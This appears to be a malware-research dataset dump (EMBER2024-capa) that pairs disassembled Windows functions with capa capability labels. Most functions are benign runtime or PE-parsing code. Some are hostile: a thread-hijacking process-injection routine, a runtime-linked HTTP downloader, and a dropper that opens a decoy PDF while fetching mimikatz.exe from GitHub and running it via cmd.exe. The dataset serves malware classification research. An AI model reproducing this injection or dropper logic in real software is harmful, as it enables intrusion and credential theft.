joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140006470]
mov dword [rax], 1
mov rax, qword [0x140006480]
mov dword [rax], 1
mov rax, qword [0x140006490]
mov dword [rax], 1
mov rax, qword [0x140006430]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000183f
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x260
xor edx, edx
mov rsi, rcx
mov ecx, 2
lea rdi, [rsp + 0x28]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdx, rdi
mov dword [rsp + 0x28], 0x238
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400018a8
mov r12, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
lea rbp, [rsp + 0x54]
mov rdx, rsi
mov rcx, rbp
call r12
test eax, eax
jne 0x140001899
mov esi, dword [rsp + 0x30]
jmp 0x1400018aa
mov rdx, rdi
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001886
xor esi, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x260
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400018c3
Capabilities:
Enumerate threads

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
xor edx, edx
mov esi, ecx
mov ecx, 4
lea rdi, [rsp + 0x24]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdx, rdi
mov dword [rsp + 0x24], 0x1c
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x140001910
cmp dword [rsp + 0x30], esi
jne 0x140001903
mov esi, dword [rsp + 0x2c]
jmp 0x140001912
mov rdx, rdi
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
jmp 0x1400018f3
xor esi, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x140001925
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x508
mov rbp, r9
mov ebx, edx
mov r12, r8
xor edx, edx
mov r8d, ecx
mov ecx, 0x1fffff
lea r13, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
mov rsi, rax
lea rdi, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor eax, eax
mov ecx, 0x134
mov rdx, r13
rep stosd dword [rdi], eax
mov rcx, rbx
mov dword [rsp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov r8, rbp
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbp
mov r8, r12
mov rcx, rsi
mov rdi, rax
xor eax, eax
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, r13
mov rcx, rbx
mov qword [rsp + 0x128], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, rbx
call rsi
mov eax, 1
add rsp, 0x508
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x1400022c1
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov r8w, word [rdx + rax]
xor word [rcx + rax], r8w
add rax, 2
cmp rax, 0x10
jne 0x1400022c3
ret
Function at 0x1400022d8
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
xor eax, eax
xor ebx, ebx
mov rbp, rcx
mov qword [rsp + 0x22], rax
mov ecx, 0x3c
mov qword [rsp + 0x28], rax
mov rdi, rbp
xor eax, eax
rep stosd dword [rdi], eax
mov word [rsp + 0x20], 1
mov eax, ebx
mov ecx, ebx
xor r9d, r9d
sar eax, 2
and ecx, 3
cdqe
shl rax, 4
add rax, rbp
mov r10b, byte [rdx + r9]
xor r8d, r8d
mov r11d, r10d
shr r10b, 1
and r11d, 1
shl r11d, cl
or word [rax + r8*2], r11w
inc r8
cmp r8, 8
jne 0x140002321
inc r9
add ecx, 4
cmp r9, 4
jne 0x14000231a
inc ebx
add rdx, 4
cmp ebx, 8
jne 0x140002304
xor eax, eax
lea rdi, [rsp + 0x30]
movzx edx, word [rbp + rax + 0x10]
add rax, 2
sar edx, 3
and dx, 0x1111
mov word [rax + rdi - 2], dx
cmp rax, 0x10
jne 0x14000235a
xor edx, edx
lea rsi, [rsp + 0x20]
test edx, edx
jne 0x1400023fe
mov rcx, rdi
call fcn.140001aa6
xor eax, eax
mov dx, word [rdi + rax]
ror dx, 4
xor dx, word [rax + rsi]
mov word [rdi + rax], dx
add rax, 2
cmp rax, 0x10
jne 0x14000238b
mov edx, dword [rsp + 0x2c]
mov ax, word [rsp + 0x2e]
mov word [rsp + 0x2e], dx
mov dx, word [rsp + 0x2a]
mov word [rsp + 0x2c], dx
mov edx, dword [rsp + 0x28]
mov word [rsp + 0x2a], dx
mov dx, word [rsp + 0x26]
xor edx, eax
mov word [rsp + 0x28], dx
mov edx, eax
xor edx, dword [rsp + 0x24]
mov word [rsp + 0x26], dx
mov dx, word [rsp + 0x22]
mov word [rsp + 0x24], dx
mov edx, eax
xor edx, dword [rsp + 0x20]
mov word [rsp + 0x22], dx
mov edx, 1
mov word [rsp + 0x20], ax
jmp 0x14000241d
cmp edx, 4
jne 0x140002414
xor edx, edx
mov rcx, rdi
call fcn.140001aa6
mov edx, 5
jmp 0x14000241d
inc edx
cmp edx, 8
jne 0x14000241d
xor edx, edx
mov eax, ebx
mov ecx, ebx
xor r8d, r8d
sar eax, 2
and ecx, 3
sub eax, 2
cdqe
shl rax, 4
lea r10, [rbp + rax]
lea r9, [rbp + rax + 0x20]
movzx eax, word [r10 + r8]
sar eax, cl
and ax, 0x1111
xor ax, word [rdi + r8]
mov word [rdi + r8], ax
and eax, 0x1111
shl eax, cl
or word [r9 + r8], ax
add r8, 2
cmp r8, 0x10
jne 0x14000243d
inc ebx
cmp ebx, 0x3c
jne 0x14000237d
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1400025cd
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
xor r13d, r13d
mov rdi, rcx
mov r14, rdx
mov rsi, r8
mov rbp, r9
lea rbx, [rsp + 0x20]
lea r15, [rcx + 0xe0]
cmp r14, r13
je 0x1400026b5
xor eax, eax
mov rdx, rbp
mov rcx, rbx
movups xmm0, xmmword [rbp]
mov qword [rsp + 0x20], rax
lea r12, [rdi + 0xd0]
mov qword [rsp + 0x28], rax
call fcn.140001a10
mov rdx, r15
mov rcx, rbx
call fcn.1400022c1
mov rcx, rbx
call fcn.140002067
mov edx, 1
mov rcx, rbx
call fcn.140001aa6
mov rdx, r12
sub r12, 0x10
call fcn.1400022c1
mov edx, 1
call fcn.1400020ce
cmp rdi, r12
jne 0x14000262e
mov rcx, rbx
call fcn.140002067
mov rcx, rbx
mov edx, 1
call fcn.140001aa6
mov rdx, rdi
call fcn.1400022c1
mov rdx, rbx
mov rcx, rsi
call fcn.140001a57
xor eax, eax
mov dl, byte [r12 + rax + 0xf0]
xor byte [rsi + rax], dl
inc rax
cmp rax, 0x10
jne 0x140002688
movups xmmword [r12 + 0xf0], xmm0
add rsi, 0x10
add rbp, 0x10
inc r13
jmp 0x1400025f8
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140002a00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140003d60
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x1400036d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000a168]
test eax, eax
je 0x14000376a
lea rax, [0x14000a140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000a170]
mov qword [rbp - 8], rax
jmp 0x14000374e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140003742
cmp qword [rbp - 0x10], 0
je 0x140003742
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003708
lea rax, [0x14000a140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000376b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140003870
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003898
mov eax, 0
jmp 0x1400038e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400038c1
mov eax, 0
jmp 0x1400038e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400038e1
mov eax, 0
jmp 0x1400038e6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400038ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000396a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003961
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003961
mov rax, qword [rbp - 8]
jmp 0x14000397f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003934
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140059ac4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140059b0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140059b0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140059b0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140059b0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140059b0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140059b10
xor al, al
add rsp, 0x28
ret

Function at 0x14006cbc0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14006c948
Function at 0x14009a054
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14009a084
xor eax, eax
jmp 0x14009a147
mov rbp, rbx
cmp word [rax], si
je 0x14009a0a9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14009a090
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14009a08c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140099ed4
movsxd r14, eax
test eax, eax
jne 0x14009a0e7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14009a07d
mov rcx, r14
call fcn.1400961ec
mov rdi, rax
test rax, rax
jne 0x14009a100
xor ecx, ecx
call fcn.140096254
jmp 0x14009a0dc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140099ed4
test eax, eax
jne 0x14009a131
mov rcx, rdi
call fcn.140096254
jmp 0x14009a13b
xor ecx, ecx
call fcn.140096254
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400a6148
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140097e7c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400a61d2
cmp byte [rbp - 0x21], r15b
je 0x1400a61cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400a6208
call fcn.1400a0a74
test eax, eax
jne 0x1400a61f4
cmp byte [rbp - 0x21], r15b
je 0x1400a61ec
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400a6208
cmp byte [rbp - 0x21], r15b
je 0x1400a6205
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140096c1c
test eax, eax
jne 0x1400a62a8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140097e7c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400a6247
cmp byte [rbp - 0x21], r15b
je 0x1400a627c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400a627c
call fcn.1400a0a74
test eax, eax
jne 0x1400a6268
cmp byte [rbp - 0x21], r15b
je 0x1400a6261
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400a627c
cmp byte [rbp - 0x21], r15b
je 0x1400a6279
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140096c1c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400a62a8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400a62ab
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400a62b9
mov rcx, rdi
call fcn.140096254
cmp byte [rbp + 0x3f], r15b
je 0x1400a62c8
mov rcx, qword [rbp + 0x27]
call fcn.140096254
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400b2df0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400b2e18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400b2e18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002240]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002230]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x1400030c0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x10b8
call fcn.140007f60
sub rsp, rax
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x68], rax
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400234c8]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rdx, [0x1400234d8]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
lea rdx, [0x1400234e8]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0x78], 0
je 0x1400031f2
cmp qword [rsp + 0x80], 0
je 0x1400031f2
cmp qword [rsp + 0x90], 0
je 0x1400031f2
cmp qword [rsp + 0x40], 0
je 0x1400031f2
cmp qword [rsp + 0x88], 0
je 0x1400031f2
cmp qword [rsp + 0x98], 0
je 0x1400031f2
cmp qword [rsp + 0xa0], 0
jne 0x1400031f9
xor al, al
jmp 0x14000333f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.HTTP_Downloader
call qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000322b
xor al, al
jmp 0x14000333f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x10c0]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140003273
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x40]
xor al, al
jmp 0x14000333f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x10c8]
call qword [rsp + 0x88]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0xffffffffffffffff
jne 0x1400032c9
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x40]
xor al, al
jmp 0x14000333f
lea r9, [rsp + 0x48]
mov r8d, 0x1000
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x90]
test eax, eax
je 0x14000331f
cmp dword [rsp + 0x48], 0
jbe 0x14000331f
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xa8]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x98]
jmp 0x1400032c9
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x40]
mov al, 1
add rsp, 0x10b8
ret
Function at 0x140003420
Capabilities:
Copy file
Create process on windows

Disassembly:
sub rsp, 0x38
xor r8d, r8d
lea rdx, str.C:UsersSoymoonAppDataLocalTempTNheBOJEIq.exe
lea rcx, str.c:windows_system32curl.exe
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x140023600]
lea rcx, str.https:__visualstudio.microsoft.com_wp_content_uploads_2016_11_Understanding_Visual_Studio_Subscriptions_Administration_Guide_for_VLSC.pdf
call fcn.1400030c0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:UsersSoymoonDocumentsQM0jabdQIo.pdf
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, str.C:UsersSoymoonAppDataLocalTemp_bLhLLdebqq.exe
lea rcx, str.https:__github.com_ParrotSec_mimikatz_raw_master_x64_mimikatz.exe
call fcn.1400030c0
call fcn.140004210
lea rdx, str._c_C:UsersSoymoonAppDataLocalTemp_bLhLLdebqq.exe
lea rcx, str.C:WindowsSystem32cmd.exe
call fcn.140003350
add rsp, 0x38
ret

Function at 0x140008a1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008a66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008a66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008a66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008a66
cmp dword [rcx + 0x84], 0xe
jbe 0x140008a66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008a68
xor al, al
add rsp, 0x28
ret

Function at 0x140012630
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001242c

Function at 0x140016b54
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140016b6a
mov al, 1
jmp 0x140016bca
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140016b7b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140016bc8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001c298
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140016bc8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140016bc8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140016bc8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140016bca
xor al, al
add rsp, 0x20
pop rbx
ret